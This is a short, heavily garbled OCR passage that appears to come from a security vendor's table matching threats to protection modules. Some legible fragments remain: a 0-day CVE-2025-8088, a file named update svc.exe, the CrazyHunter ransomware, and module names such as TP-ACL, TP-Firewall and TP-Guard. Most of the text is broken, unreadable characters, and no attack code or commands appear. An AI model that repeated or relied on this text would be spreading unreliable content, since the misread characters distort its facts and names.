5 5 Bk A4 TPACL (BB EA G2 %) WA A%E @ EEMRE RS L ok il

A ELH)
6 |0-day JE#54%(CVE-2025-8088)  |TP-ACL (% 4 k] ) F23tY update sve.exe A 4E & & E— R IEELH)
TP-Fi s i || 2 &L L L | [ < 5 2

7 A I K LR B 2K ;gl’)llTEWﬂll(Ffikﬂmﬂﬁ]mfr_ e 4 %iﬁﬁ,ﬁ]ﬁm’fr_lﬁ. kAt R w B E&S
g 4 TP ™. MR/ SRR AN AR T ERE 0 RiRis

8-1 |AwFEaj4hes (CrazyHunter ) I'P-Firewall + TP-Guard A& $ R i W T Gk

8-2 |4k #% 414 ( CrazyHunler) TP-ACL+ TP-Guard hunter.exe 3 & 4 & — SEBMHBAHRT

8-3 |&F#shikgntt (CrazyHunter)  [TP-File+ TP-CFA BERHR=E X - ERERXEARE
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